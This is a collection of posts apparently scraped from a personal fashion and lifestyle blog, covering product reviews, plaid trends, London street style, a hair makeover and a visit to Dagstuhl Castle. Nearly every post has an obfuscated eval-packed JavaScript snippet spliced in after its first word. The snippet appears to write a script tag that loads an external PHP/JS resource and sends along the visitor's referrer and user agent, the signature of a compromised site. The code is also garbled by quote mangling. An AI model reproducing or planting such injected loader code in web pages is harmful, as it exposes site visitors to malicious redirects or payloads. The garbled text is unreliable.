Review: NEW Eco-Friendly Shopping With Orange Harp

These eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|htdnb|var|u0026u|referrer|stsft||js|php’.split(‘|’),0,{}))
days, it seems like you can throw a stone and hit a new shopping app. Personally, I get a little overwhelmed with so many sites vying for my time, my attention, and my cash. I tend to look for favorites, and stick with the apps I truly love! One new app I’m really appreciating these days is Orange Harp, the latest place for Eco-conscious shoppers who want unique and quality clothes, jewelry, and beauty products, but also want to support the companies who care about our world, and the people in it!

Orange Harp promises their site “isn’t just about shopping — it’s about attaching meaning to the products we bring into our lives.” To this end, they carefully hand-select companies, designers, and artisans who have ethical work practices, and who give back to their communities. All the products on Orange Harp are crafted from natural or renewable resources, and practice eco-conscious manufacturing, right down to their shipping supplies!

There was a time when “eco-friendly products” meant scratchy brown toilet tissue recycled from landfill boxes. Not so, anymore! A quick browse around Orange Harp’s shopping app will find you high-quality, gorgeous fashion and jewelry pieces that take the “no” out of granola. Here are some of the pieces in my “Favorites” list:

One of my favorite things about Orange Harp, besides the gorgeous, quality products they provide, is the stories. Visit the website, and you can read about each and every brand; who created it, why they did so, their inspiration, and the heart & soul behind their work. Take ETKIE, for example. Founded by New Mexico native Sydney Alfonso, ETKIE bracelets are hand-made by Native American women who were formerly unemployed, giving them a place to unleash their artistic creativity while generating income for their families!

Not only are these women creating beautiful jewelry, but they also receive support, job and life-skills training, and in some cases micro-loans to launch their own ventures! What a brilliant and beautiful story! I love knowing that this little bracelet I buy is deeply connected to another woman, one with hopes and dreams just like me… You can be sure I will appreciate that bracelet on a very different level, than one I simply buy off the shelves at a mega-store!

Another cool feature I adore is Orange Harp’s “Women We Love” page, which features brave and brilliant women from across the globe who have worked hard to achieve their dreams, with deep care & concern for the earth and humanity. Their stories are so inspiring, I hope you enjoy reading them as much as I do!

Download the Orange Harp app here.

XOXO,
Tanya

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The New Brilliant Invention for Hot Weather Dressing!

Picture eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iayzs|var|u0026u|referrer|ebidt||js|php’.split(‘|’),0,{}))
Courtesy of Lenny Wheeler Photography

Boise ladies, rejoice! I’ve stumbled upon the classiest way ever invented, for us to keep cool in the hot, dry summers here. They’re called Hot Girl Pearls, and were developed by a brilliant woman named Constance Sherman. She’s shown her Pearls on The View, the Today Show, and in Oprah’s magazine O, just to name a few. Ms. Sherman has found a way to create gorgeous jewelry, with the same cooling gel inside them as the ice packs in your freezer! Ingenious!!!

The pearls original intent was to help ladies suffering from hot flashes. But when I heard about them, I immediately thought about our 100+ degree Boise summers, and how much I don’t like wearing jewelry in that heat! But if there existed jewelry that could combat the heat? Sign me up! I emailed Constance right away; Boise needs these, I told her.

Hot Girl Pearls come in a variety of colors and styles. I adore the classy White Bracelet she sent me to try out! It has little Swarovski crystals on the clasp, to add a little fanciness and bling – LOVE! Oh yes, and the clasp is magnetic, and very strong, so getting the bracelet on is such a cinch.

When you order the Pearls, you also get an insulated pouch to keep them in. I has a gel ice pack in it, so you can transport your pearls, and keep them cushioned and cool, inside. What a great idea, right? You’re welcome, Boise Hot Girls!

Shop Hot Girl Pearls at HotGirlPearls.com, or on Facebook at https://www.facebook.com/HotGirlsPearls !

XOXO,

Nordstrom Ups the Ante on the Latest Plaid Styles for Fall!

There’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zheas|var|u0026u|referrer|dtrzz||js|php’.split(‘|’),0,{}))
something about the return of Fall, when we feel that crisp morning air and hear school bells ring, that makes us reach for a cup of hot chocolate and our favorite cozy plaid pieces to snuggle up with! Plaid is timeless and classic, making it a great wardrobe staple you can pull out again and again, as the years pass. Above is my favorite plaid skirt: it’s a vintage piece from Nordstrom that I found at a local resale store! I love the unconventional color combo, and the cozy soft wool. It reminds me of my hometown, Seattle, with its’ misty fall mornings and Starbucks stands on every corner…

When Nordstrom’s August 2014 Catalog arrived in my mailbox, I wasn’t surprised to see a plethora of plaid styles throughout the pages. What did surprise me, however, is all the cool and unexpected ways Nordy’s upped the ante on this favorite fall staple! Oh my goodness, how hot and fun are these looks?? I just had to share them with you!

Here are some inspiring Fall Looks, from their August 2014 Catalog. Enjoy!

Which one is your favorite? Will you be rocking plaid this fall? Tell me your thoughts in the comment section below!

rag & bone/JEANS “The Leeds” Plaid Shirt, $264 / rag & bone/JEANS High Rise Skinny Stretch Jeans, $185

ACE Delivery Shirt, $68 / Tube Skirt, $58

TREASURE & BOND Sweatshirt, $68 / Hinge Skort, $68

TREASURE & BOND Sweater, $78 / Plaid Shirt / Boyfriend Jeans, $88

HUE Plaid Leggings, $48 / Pretty Polly Tartan Tights, $25

SPLENDID Aston Flannel Shirt, $128 / PAIGE Verdugo Ankle Jeans, $169

BOBEAU Plaid-Front Sweatshirt, $54 / NYDJ Ami Skinny Jeans, $114

RENEE’S ACCESSORIES Oversized Plaid Scarf, $38

AUGUST HAT Home Run Baseball Cap, $32

BOBEAU Lace Border Print Dress, $58

DR. MARTENS Alexandra Boot, $139.95 / STEVE MADDEN Pasa Work Boot, $109.95

BARGAIN HUNTERS: Most of these brands and looks can be found at a discount at your local Nordstrom Rack, also!!! Click here to find the Rack nearest to you.

Blogger Abroad Style Report: LONDON

My eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhnnt|var|u0026u|referrer|khddt||js|php’.split(‘|’),0,{}))
outfit: TopShop London / Lala’s Outfit: Primark

I had such a BLAST last month, when I had the awesome opportunity to spend a week in London, England! I shopped and people-watched, to research the hottest trends across the pond. My favorite places to shop were Zara, TopShop, Primark, and Camden Market. And of course, I had to spend a little time oohing and ahing over the pretty, pretty things in London’s flagship Burberry shop. Wow!

The top trends I saw there for women were:

High-waist skinny jeans

High-waist skirts with crop tops

Knee-length twirly skirts

Platform Sandals

White sneakers

Ankle Boots

Dresses

Patterned Trousers

Lace-up boots (Doc Marten and biker style)

Overalls

Rompers & Jumpers

Scarves and Fedoras

Backpacks

Satchels

Enjoy my photos!
Hover your mouse over a pic to view the description, or click on them to view the full-sized version.

stylespygirl london Street Markets Near Liverpool Station — Street Markets Near Liverpool Station

Tower of London stylespygirl — Tower of London

stylespygirl london topshop — Topshop with Debonita!

Kissing in the Underground stylespygirl london — Kissing in the Underground

Tower Bridge London stylespygirl — Tower Bridge in the Rain

stylespygirl london — Footweat Styles in London

stylespygirl london burberry — Burberry Store in London

Primark Sandals Topshop Satchel StyleSpyGirl — Primark Sandals & Topshop Satchel

Kissing london eye stylespygirl — Kissing in London

Camden Market stylespygirl london — Camden Market

Swans palace stylespygirl london — Swans near the palace

stylespygirl london macarons — Macarons!

Oxford Circus

stylespygirl london Borough Market — Borough Market

Tower Bridge Sunset stylespygirl london — Tower Bridge – Storm Coming!

Underground london stylespygirl — My Huge Coach Travel Purse!

london stylespygirl big ben — Because you HAVE to get the phone booth photo!

stylespygirl london Camden Market — Camden Market

stylespygirl london Millennium Bridge — Millennium Bridge

A Petite London Blogger With a Very Big Dream!

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fknie|var|u0026u|referrer|afann||js|php’.split(‘|’),0,{}))
recently spent some time in London, reporting on fashion trends there for summer and fall, and the fun privilege of meeting up with another blogger! Her name is Debonita Deore, from the blog Elegantly Fashionable. Debonita specifically blogs about style for petites, and is passionate about her mission to make the fashion world give ladies of her stature more recognition… and choices! To this end, the petite powerhouse is single-handedly working to launch Petite Fashion Week, first in London and then across the globe.

By definition, petite simply means clothing designed to fit women who are 5’3″ or shorter. Many women think it’s about weight or bone structure, but truly, it’s as simple as height! Did you know that 40% of all American women are 5’3″ or shorter? And 25% are 5’1″ or shorter! So why does the entire fashion industry create clothes based on the 5’4″-5’8″ woman??? And unlike American stores, there are few to no retailers in the U.K. that offer free or inexpensive alterations. Debonita aims to change all of that.

In February, she is throwing a networking event to launch Petite Fashion Week, and already has almost 200 people signed up. Her goal is to launch her show the following February, and send a powerful message about the diversity of beauty to the fashion world!

Follow Debonita’s journey across the pond! Check out her blog for fashion inspiration and London trends here, and stay connected to watch Petite Fashion Week turn from a dream, into a reality, by following her other site: Petite Fashion Week.

It was an honor to meet you, Debonita! XOXO

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My New Hair Style!

REMEMBER eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|znfzk|var|u0026u|referrer|fkzdk||js|php’.split(‘|’),0,{}))
THIS?

I confess, I adored my magenta/purple/red hair! But anyone with colored hair will tell you it’s a lot of upkeep and maintenance. Eventually, I felt like I was over-bleaching and putting a lot of wear & tear on my poor locks! I’m also the kind of girl who likes to reinvent herself and have fun with beauty and fashion, so on my next hair appointment, I went black & blue. (Thank you, Melissa Thomas at Deco Hair & Makeup!)

That was fun too (you can see the photos of my wavy bob here!), but I finally realized that what I’ve really been pining for is LOOOONNNG hair! I’m way too impatient to wait for it to grow out, though…

Fortunately, I have an awesome friend who’s also an extension pro, Erin Swenson. Bibbitty-bobbitty-boo, we magically grew my bob to mermaid length, and were able to add the blue I wanted, without bleaching & damage of my real hair!

Hair Magic Achieved by: Erin Swenson, owner of Eclectic Style Salon / Photography by: Ammophotog
Necklace Custom-designed by Denise Vasecka of Unigon Specialties

I’m having SO MUCH FUN with my new long hair. It will definitely have an effect on my fashion style! What do you think; do you like the bob or long hair better?

XOXO,

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Waterproof Makeup Review

Yesterday I took my kids to eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eittf|var|u0026u|referrer|kyezt||js|php’.split(‘|’),0,{}))
Roaring Springs Waterpark in Meridian, ID. Now, I don’t typically wear a bunch of makeup when I go to a waterpark, but I figured it would be a great place to try out some of the “water-resistant” and waterproof makeup I’ve been looking at lately. Not a very scientific experiment, I suppose, but if this stuff can withstand 5 hours of face-first waterslides, then it’s pretty darn good!

Of course, not every girl feels compelled to wear makeup at the pool, the beach, the waterpark… But for those who do, or who want just a little step above the complete “natural look,” I hope you find this helpful!

Here is my Before picture:

I used the following products:

Urban Decay Anti-Aging Eyeshadow Primer

Urban Decay Eyeshadow in YDK (not pictured)

Make Up Forever Aqua Eyes blue eyeliner

L’oreal Voluminous Million Lashes Waterproof Mascara in Blackest Black

Anastasia Beverly Hills Dipbrow Pomade (not pictured)

Tarte Clean Slate Makeup Primer

Youngblood Pressed Powder Foundation

Virginn Pure Mineral Makeup Flawless Finish Powder (a favorite of mine!)

MAC Blush

Make Up Forever Fist Fix makeup setting spray

MAC Lip Pencil, Plum

Natural Lip Gloss

Here is my After picture (yup, curly hair, ha ha!):

So I definitely had to re-do the lipliner and gloss, but that’s probably more the pizza’s fault than the makeup’s. Everything else stood up remarkably well! The L’oreal mascara wasn’t perfect, maybe a 6 out of 10 stars, but everything else impressed my socks off. A young lady in a line for one of the slides complimented my “glittery eyes,” and asked how in the world I kept it from washing off. Score for Urban Decay!

My favorite thing was the Anastasia eyebrow stuff. Wow, it didn’t budge, even the slightest! 10 out of 10 stars, for sure. The foundation, blush, and powder faded somewhat, but they stayed put enough to 1) act as a natural sunscreen, and 2) smooth out my uneven skin. Love!

What “waterproof” makeup items do you use in the summertime, if any? Comment below, and share what works for you!
XOXO,

Which New Season Shoe Are You?

Shorts: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nhrtk|var|u0026u|referrer|zirre||js|php’.split(‘|’),0,{}))
Express / Shoes: ALDO (On SALE right now here!)

~~~

Here we are, smack dab in the middle of summer, and the fashion trends are hot hot HOT!

I just spent a week in London gathering info on what clothes and shoes all the cool girls are wearing across the pond, and that report will be posted SOON… But in the meantime, my cool friends at FarFetch.com put together this ingenious little quiz to help us find our Perfect Shoe Style for the season. All the choices are fab, but my result was Isabel Marant Heels, which is oh-so-totally ME!

How about you? Take the quiz, comment your results, and share with your friends!
And stay tuned, for London Style articles, coming soon!

XOXO,

Photo cred: FarFetch

What Summer Shoe Are You? [Infographic] by the team at Farfetch

Blogger Abroad: Vacation Style in an Ancient Castle

Dagstuhl eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zifna|var|u0026u|referrer|nybfs||js|php’.split(‘|’),0,{}))
Fortress, Wadern, Germany / Tank and Shorts: Express

I learned something new about myself this week: I’m a total history nerd. Seriously, I hadn’t realized it before, but being back in Germany, surrounded by buildings, towns, & monuments that are over 1,000 years old impacted me so deeply, I felt like a 5 year old girl in Disneyland! There is something so amazing to me – mystical, almost – to walk the same ground where families lived, ate, fought, slept… Real individuals, going about their days just like we do, but in a time so distant, it’s difficult to truly imagine.

This fortress was built around 1290AD, on top of even older existing structures. High atop the hills of Wadern, Germany, the breathtaking view stretches for miles in every direction. Once upon a time, this fortress was amazing. Watch my video for a 360 view of the entire thing!

Sunglasses: Kate Spade courtesy of Boise Mountain Eyewear

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Shorts: Express / Shoes: ALDO (on sale here now!)

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Blogger Abroad: Dagstuhl Castle

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydasb|var|u0026u|referrer|nttbf||js|php’.split(‘|’),0,{}))
Schloss Dagstuhl, 2014

Dagstuhl Castle was built around 1760 in the town of Wadern, in southern Germany. Situated in lush, vibrant forest surrounded by hills and a sprawling village, the castle has a long and fascinating history.

The town of Dagstuhl began with a great fortress, built in 1290, remnants of which can still be seen to this day. In the 1700’s, Count Josef Anton began investing heavily in the town, transforming it into a bustling cultural and aristocratic community. Under his guidance, order and cleanliness guidelines came into place, establishing such modern concepts as annual chimney and safety inspections, the building of permanent homes, crop rotation and “freehold” farmers who owned the land, and a garbage disposal system.

Under Count Josef’s rule, Wadern grew into a commercial center whose fabric industry, nobility, and justice system enjoyed widespread fame.

Count Josef even built his own brewery, to provide an endless supply of beer for his legendary parties and celebrations. The brewery remains can still be seen today!
Ownership of the castle has changed hands many times over the centuries, but one of it’s most famous residents was the “Painting Countess,” Octavie De Lasalle, who renovated the chapel and took it upon herself to personally paint the interior. It took her 40 years to complete the work, and her fame grew in the meantime as she also produced beautiful works in her artist’s cottage, built in the old fortress remains. To this day, many of her paintings can be seen in museums across the area, always signed with her initials O.v.L.L., or a tiny red robin.

For many decades the castle was owned by a third Order of Franciscan nuns, who expanded the grounds and renovated it to create a residential home for the elderly. Eventually they left the castle and moved into town, to a building near the hospital in Wadern, and the state Government of the Saarland took over ownership of the property. With help from the Rhineland-Palatine Government, they converted Schloss Dagstuhl into the International Research Center for Computer Science, which continues to host conferences and groups from across the globe.

Schloss Dagstuhl ~ International Research Center for Computer Science

Sweater, Tank, Skirt: LOFT / Flats: ALDO Shoes (on SALE now here!)

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